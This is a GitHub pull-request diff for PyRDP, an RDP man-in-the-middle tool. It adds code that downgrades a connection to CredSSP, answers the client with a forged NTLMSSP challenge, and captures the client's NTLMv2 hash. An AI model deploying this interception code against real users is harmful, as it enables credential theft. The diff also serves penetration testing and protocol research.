Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

(#358) Catch NTLM hash if non-SSP authentication #367

Merged
merged 26 commits into from
Nov 26, 2021
Merged
Show file tree
Hide file tree
Changes from 18 commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
656bdde
Catch NTLM hash if non-SSP authentication
lubiedo Oct 26, 2021
f7a1de9
Better code reorganization
lubiedo Nov 1, 2021
fc24cba
Fix ASN.1 header and minor changes
lubiedo Nov 2, 2021
024b1a3
ASN.1 BER improvement
lubiedo Nov 2, 2021
9e77d03
Improvements
lubiedo Nov 10, 2021
373b204
Correct `readContextTag()` description
lubiedo Nov 17, 2021
9896157
Rewording: catch to capture
lubiedo Nov 17, 2021
4894203
Deleting end of lines and adding documentation links
lubiedo Nov 17, 2021
20fa506
Move the capturing to NTLMSSPState
lubiedo Nov 17, 2021
1129bbb
Replace `random` with `secrets` for random bits generation
lubiedo Nov 17, 2021
367ee65
Oops
lubiedo Nov 17, 2021
9904758
Reverting 20fa506 and using keyword
lubiedo Nov 18, 2021
98cc300
PEP8 stuff
lubiedo Nov 18, 2021
6a560c0
Fix missing definitions and misc.
lubiedo Nov 23, 2021
527a03b
Fix SSL certificate cloning
lubiedo Nov 24, 2021
d12af01
Minor changes to nla.py
lubiedo Nov 24, 2021
a1b3a59
Write to stream using Uint*.pack()
lubiedo Nov 24, 2021
52bd5df
Fix PDU in sendConnectionRequest while ntlm capture
lubiedo Nov 25, 2021
dff9f5e
Fix comment
lubiedo Nov 25, 2021
70f5994
PEP8 fixes
lubiedo Nov 25, 2021
813db05
Transform to `elif`
lubiedo Nov 25, 2021
7bf3c90
Update pyrdp/mitm/X224MITM.py
lubiedo Nov 25, 2021
9bc5ea4
Update pyrdp/mitm/X224MITM.py
lubiedo Nov 25, 2021
f2e5bd6
Use Uint*.unpack() to read CHALLENGE stream
lubiedo Nov 26, 2021
acac41c
Merge branch 'master' of github.com:GoSecure/pyrdp into issue-358
lubiedo Nov 26, 2021
1cc617e
Merge branch 'issue-358' of github.com:lubiedo/pyrdp into issue-358
lubiedo Nov 26, 2021
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 22 additions & 2 deletions pyrdp/core/ber.py
Original file line number Diff line number Diff line change
Expand Up @@ -140,7 +140,27 @@ def writeApplicationTag(tag: Tag, size: int) -> bytes:
return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | Tag.BER_TAG_MASK) + Uint8.pack(tag) + writeLength(size)
else:
return Uint8.pack((Class.BER_CLASS_APPL | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size)


def readContextualTag(s: BinaryIO, tag: Tag, isConstruct: bool) -> int:
"""
Unpack contextual tag and return the tag length.
:param s: stream
:param tag: BER tag
:param isConstruct: True if a construct is expected
"""
byte = Uint8.unpack(s.read(1))
if byte != ((Class.BER_CLASS_CTXT | berPC(isConstruct)) | (Tag.BER_TAG_MASK & tag)):
raise ValueError("Unexpected contextual tag")
return readLength(s)

def writeContextualTag(tag: Tag, size: int) -> bytes:
"""
Pack contextual tag.
:param tag: BER tag
:param size: the size of the contextual packet.
"""
return Uint8.pack((Class.BER_CLASS_CTXT | PC.BER_CONSTRUCT) | (Tag.BER_TAG_MASK & tag)) + writeLength(size)

def readBoolean(s: BinaryIO) -> bool:
"""
Unpack a BER boolean
Expand Down Expand Up @@ -231,4 +251,4 @@ def writeEnumeration(value: int) -> bytes:
"""
Pack a BER enumeration value
"""
return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value)
return writeUniversalTag(Tag.BER_TAG_ENUMERATED, False) + writeLength(1) + Uint8.pack(value)
2 changes: 1 addition & 1 deletion pyrdp/enum/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@
from pyrdp.enum.gcc import GCCPDUType
from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult
from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType
from pyrdp.enum.ntlmssp import NTLMSSPMessageType
from pyrdp.enum.ntlmssp import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion
from pyrdp.enum.player import MouseButton, PlayerPDUType
from pyrdp.enum.rdp import *
from pyrdp.enum.orders import DrawingOrderControlFlags
Expand Down
32 changes: 31 additions & 1 deletion pyrdp/enum/ntlmssp.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,38 @@

from enum import IntEnum


class NTLMSSPMessageType(IntEnum):
NEGOTIATE_MESSAGE = 1
CHALLENGE_MESSAGE = 2
AUTHENTICATE_MESSAGE = 3

class NTLMSSPChallengeType(IntEnum):
WORKSTATION_BUFFER_OFFSET = 0x38

# http://davenport.sourceforge.net/ntlm.html#theNtlmFlags
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832
# Flags: (
# NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_NTLM |
# NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_TARGET_TYPE_SERVER | NTLMSSP_NEGOTIATE_LM_KEY |
# NTLMSSP_NEGOTIATE_TARGET_INFO | r | NTLMSSP_NEGOTIATE_128 |
# NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56
# )
NEGOTIATE_FLAGS = 0xE28A8215

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID = 0x0002 # MsvAvNbDomainName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID = 0x0001 # MsvAvNbComputerName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID = 0x0004 # MsvAvDnsDomainName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID = 0x0003 # MsvAvDnsComputerName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID = 0x0005 # MsvAvDnsTreeName
NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID = 0x0000 # MsvAvEOL


class NTLMSSPChallengeVersion(IntEnum):
CREDSSP_VERSION = 0x05

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175
NEG_PROD_MAJOR_VERSION_HIGH = 0x06
NEG_PROD_MINOR_VERSION_LOW = 0x02
NEG_PROD_VERSION_BUILT = 0x0ECE
NEG_NTLM_REVISION_CURRENT = 0x0F # NTLMSSP_REVISION_W2K3
7 changes: 6 additions & 1 deletion pyrdp/mitm/RDPMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -238,6 +238,11 @@ def doClientTls(self):

# Add unknown packet handlers.
lubiedo marked this conversation as resolved.
Show resolved Hide resolved
ntlmSSPState = NTLMSSPState()
if self.state.ntlmCapture:
# We are capturing the NLA NTLMv2 hash
self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), ntlmCapture=True))
return

self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp")))
self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp")))

Expand Down Expand Up @@ -470,4 +475,4 @@ def addClientIpToLoggers(self, clientIp: str):
self.slowPath.log.extra['clientIp'] = self.state.clientIp

if self.certs:
self.certs.log.extra['clientIp'] = self.state.clientIp
self.certs.log.extra['clientIp'] = self.state.clientIp
31 changes: 22 additions & 9 deletions pyrdp/mitm/X224MITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
from logging import LoggerAdapter

from pyrdp.core import defer
from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags
from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags, NegotiationProtocols
from pyrdp.layer import X224Layer
from pyrdp.mitm.state import RDPMITMState
from pyrdp.parser import NegotiationRequestParser, NegotiationResponseParser
Expand Down Expand Up @@ -83,6 +83,9 @@ def onConnectionRequest(self, pdu: X224ConnectionRequestPDU):
# Tell the server we only support the allowed authentication methods.
chosenProtocols &= self.state.config.authMethods

if self.state.ntlmCapture:
chosenProtocols = NegotiationProtocols.SSL | NegotiationProtocols.CRED_SSP
lubiedo marked this conversation as resolved.
Show resolved Hide resolved

modifiedRequest = NegotiationRequestPDU(
self.originalNegotiationRequest.cookie,
self.originalNegotiationRequest.flags,
Expand All @@ -99,6 +102,7 @@ async def connectToServer(self, payload: bytes):
Awaits the coroutine that connects to the server.
:param payload: the connection request payload
"""

await self.connector()
self.server.sendConnectionRequest(payload = payload)

Expand All @@ -117,24 +121,33 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU):
parser = NegotiationResponseParser()
response = parser.parse(pdu.payload)
if isinstance(response, NegotiationFailurePDU):
if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER and self.state.canRedirect():
self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", {
"redirectionHost": self.state.config.redirectionHost,
"redirectionPort": self.state.config.redirectionPort
})
if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER:

# Disconnect from current server
self.disconnector()

# Use redirection host and replay sequence starting from the connection request
self.state.useRedirectionHost()
if self.state.canRedirect():
self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", {
"redirectionHost": self.state.config.redirectionHost,
"redirectionPort": self.state.config.redirectionPort
})

# Use redirection host and replay sequence starting from the connection request
self.state.useRedirectionHost()
else:
self.log.info("Server requires CredSSP. Reconnecting with server and attempting to capture client's NTLM hashes.")
lubiedo marked this conversation as resolved.
Show resolved Hide resolved
self.state.ntlmCapture = True

self.onConnectionRequest(self.originalConnectionRequest)
return
else:
self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)})
payload = pdu.payload
else:
payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols))
if self.state.ntlmCapture:
payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP))
lubiedo marked this conversation as resolved.
Show resolved Hide resolved
else:
payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, response.selectedProtocols))

# FIXME: This should be done based on what authentication method the server selected, not on what
# the client supports.
Expand Down
3 changes: 3 additions & 0 deletions pyrdp/mitm/state.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,9 @@ def __init__(self, config: MITMConfig, sessionID: str):
self.effectiveTargetPort = self.config.targetPort
"""Port for the effective host"""

self.ntlmCapture = False
"""Hijack connection from server and capture NTML hash"""

self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

Expand Down
142 changes: 132 additions & 10 deletions pyrdp/parser/rdp/ntlmssp.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,12 @@
from io import BytesIO
from typing import Callable, Dict

from pyrdp.core import Uint16LE, Uint32LE
from pyrdp.core import ber, Uint8, Uint16LE, Uint32LE, Uint64LE
from pyrdp.exceptions import UnknownPDUTypeError, ParsingError
from pyrdp.parser.parser import Parser
from pyrdp.pdu import NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, NTLMSSPNegotiatePDU, NTLMSSPPDU
from pyrdp.pdu import NTLMSSPChallengePayloadPDU, NTLMSSPTSRequestPDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU, \
NTLMSSPNegotiatePDU, NTLMSSPPDU
from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion


class NTLMSSPParser(Parser):
Expand All @@ -34,11 +37,11 @@ def findMessage(self, data: bytes) -> int:
return data.find(b"NTLMSSP\x00")

def doParse(self, data: bytes) -> NTLMSSPPDU:
stream = BytesIO(data)
sigOffset = self.findMessage(data)
stream = BytesIO(data[sigOffset:])
signature = stream.read(8)
messageType = Uint32LE.unpack(stream)

return self.handlers[messageType](data, stream)
return self.handlers[messageType](stream.getvalue(), stream)
lubiedo marked this conversation as resolved.
Show resolved Hide resolved

def parseField(self, data: bytes, fields: bytes) -> bytes:
length = Uint16LE.unpack(fields[0: 2])
Expand All @@ -53,15 +56,19 @@ def parseNTLMSSPNegotiate(self, data: bytes, stream: BytesIO) -> NTLMSSPNegotiat
return NTLMSSPNegotiatePDU()

def parseNTLMSSPChallenge(self, data: bytes, stream: BytesIO) -> NTLMSSPChallengePDU:
targetNameFields = stream.read(8)
workstationLen = stream.read(2)
lubiedo marked this conversation as resolved.
Show resolved Hide resolved
workstationMaxLen = stream.read(2)
workstationBufferOffset = stream.read(4)
negotiateFlags = stream.read(4)
serverChallenge = stream.read(8)
reserved = stream.read(8)
targetInfoFields = stream.read(8)
version = stream.read(8)
targetInfoLen = stream.read(2)
targetInfoMaxLen = stream.read(2)
targetInfoBufferOffset = stream.read(4)
version = stream.read(4)
reserved = stream.read(3)
revisionCurrent = stream.read(1)

targetName = self.parseField(data, targetNameFields)
targetInfo = self.parseField(data, targetInfoFields)
return NTLMSSPChallengePDU(serverChallenge)
lubiedo marked this conversation as resolved.
Show resolved Hide resolved

def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthenticatePDU:
Expand All @@ -86,3 +93,118 @@ def parseNTLMSSPAuthenticate(self, data: bytes, stream: BytesIO) -> NTLMSSPAuthe
response = ntChallengeResponse[16 :]

return NTLMSSPAuthenticatePDU(user, domain, proof, response)

def parseNTLMSSPTSRequest(self, data: bytes, stream: BytesIO) -> NTLMSSPTSRequestPDU:
if not ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True):
raise UnknownPDUTypeError("Invalid BER tag (%d expected)" % ber.Tag.BER_TAG_SEQUENCE)

length = ber.readLength(stream)
if length > len(stream.getvalue()):
raise ParsingError("Invalid size for TSRequest (got %d, %d bytes left)" % (length, len(stream.getvalue())))

version = None
negoTokens = None

# [0] version
if not ber.readContextualTag(stream, 0, True):
return NTLMSSPTSRequestPDU(version, negoTokens, data)
version = ber.readInteger(stream)

# [1] negoTokens
if not ber.readContextualTag(stream, 1, True):
return NTLMSSPTSRequestPDU(version, negoTokens, data)
ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # SEQUENCE OF NegoDataItem
ber.readLength(stream)
ber.readUniversalTag(stream, ber.Tag.BER_TAG_SEQUENCE, True) # NegoDataItem
ber.readLength(stream)
ber.readContextualTag(stream, 0, True)

negoTokens = BytesIO(ber.readOctetString(stream)) # NegoData
return NTLMSSPTSRequestPDU(version, negoTokens)

def parseNTLMSSPChallengePayload(self, data: bytes, stream: BytesIO, workstationLen: int) -> NTLMSSPChallengePayloadPDU:
workstation = stream.read(workstationLen)
return NTLMSSPChallengePayloadPDU(workstation)

def writeNTLMSSPChallenge(self, workstation: str, serverChallenge: bytes) -> bytes:
stream = BytesIO()
substream = BytesIO()

workstation = workstation.encode('utf-16le')
obilodeau marked this conversation as resolved.
Show resolved Hide resolved
nameLen = len(workstation)
pairsLen = self.writeNTLMSSPChallengePayload(substream, workstation)

substream.write(b'NTLMSSP\x00')
Uint32LE.pack(NTLMSSPMessageType.CHALLENGE_MESSAGE, substream)
Uint16LE.pack(nameLen, substream)
Uint16LE.pack(nameLen, substream)
Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET, substream)
Uint32LE.pack(NTLMSSPChallengeType.NEGOTIATE_FLAGS, substream)
substream.write(serverChallenge)
Uint64LE.pack(0, substream)
Uint16LE.pack(pairsLen, substream)
Uint16LE.pack(pairsLen, substream)
Uint32LE.pack(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET + nameLen, substream)
Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MAJOR_VERSION_HIGH, substream)
Uint8.pack(NTLMSSPChallengeVersion.NEG_PROD_MINOR_VERSION_LOW, substream)
Uint16LE.pack(NTLMSSPChallengeVersion.NEG_PROD_VERSION_BUILT, substream)
Uint8.pack(0, substream)
Uint8.pack(0, substream)
Uint8.pack(0, substream)
Uint8.pack(NTLMSSPChallengeVersion.NEG_NTLM_REVISION_CURRENT, substream)
lubiedo marked this conversation as resolved.
Show resolved Hide resolved

self.writeNTLMSSPTSRequest(stream, NTLMSSPChallengeVersion.CREDSSP_VERSION, substream.getvalue())
return stream.getvalue()

def writeNTLMSSPTSRequest(self, stream: BytesIO, version: int, negoTokens: bytes):
lubiedo marked this conversation as resolved.
Show resolved Hide resolved
"""
Write NTLMSSP TSRequest for NEGOTIATION/CHALLENGE/AUTHENTICATION messages
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/6aac4dea-08ef-47a6-8747-22ea7f6d8685
"""
negoLen = len(negoTokens)

stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True))
stream.write(ber.writeLength(negoLen + 25))
stream.write(ber.writeContextualTag(0, 3))
stream.write(ber.writeInteger(version)) # CredSSP version
stream.write(ber.writeContextualTag(1, negoLen + 16))
stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True))
stream.write(ber.writeLength(negoLen + 12))
stream.write(ber.writeUniversalTag(ber.Tag.BER_TAG_SEQUENCE, True))
stream.write(ber.writeLength(negoLen + 8))
stream.write(ber.writeContextualTag(0, negoLen + 4))
stream.write(ber.writeOctetString(negoTokens))

def writeNTLMSSPChallengePayload(self, stream: BytesIO, workstation: str) -> int:
lubiedo marked this conversation as resolved.
Show resolved Hide resolved
"""
Write CHALLENGE message payload
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
"""
length = len(workstation)

stream.seek(NTLMSSPChallengeType.WORKSTATION_BUFFER_OFFSET)
stream.write(workstation)

pairsLen = stream.tell()
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID, stream)
Uint16LE.pack(length, stream)
stream.write(workstation)
Uint16LE.pack(NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID, stream)
Uint16LE.pack(0, stream)
pairsLen = stream.tell() - pairsLen
stream.seek(0)

return pairsLen

3 changes: 2 additions & 1 deletion pyrdp/pdu/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,8 @@
UnicodeKeyboardEvent, UnusedEvent
from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU
from pyrdp.pdu.rdp.negotiation import NegotiationFailurePDU, NegotiationRequestPDU, NegotiationResponsePDU
from pyrdp.pdu.rdp.ntlmssp import NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU
from pyrdp.pdu.rdp.ntlmssp import NTLMSSPTSRequestPDU, NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, \
NTLMSSPAuthenticatePDU, NTLMSSPChallengePayloadPDU
from pyrdp.pdu.rdp.pointer import Point, PointerCacheEvent, PointerColorEvent, PointerEvent, PointerNewEvent, \
PointerPositionEvent, PointerSystemEvent
from pyrdp.pdu.rdp.security import SecurityExchangePDU, SecurityPDU
Expand Down
Loading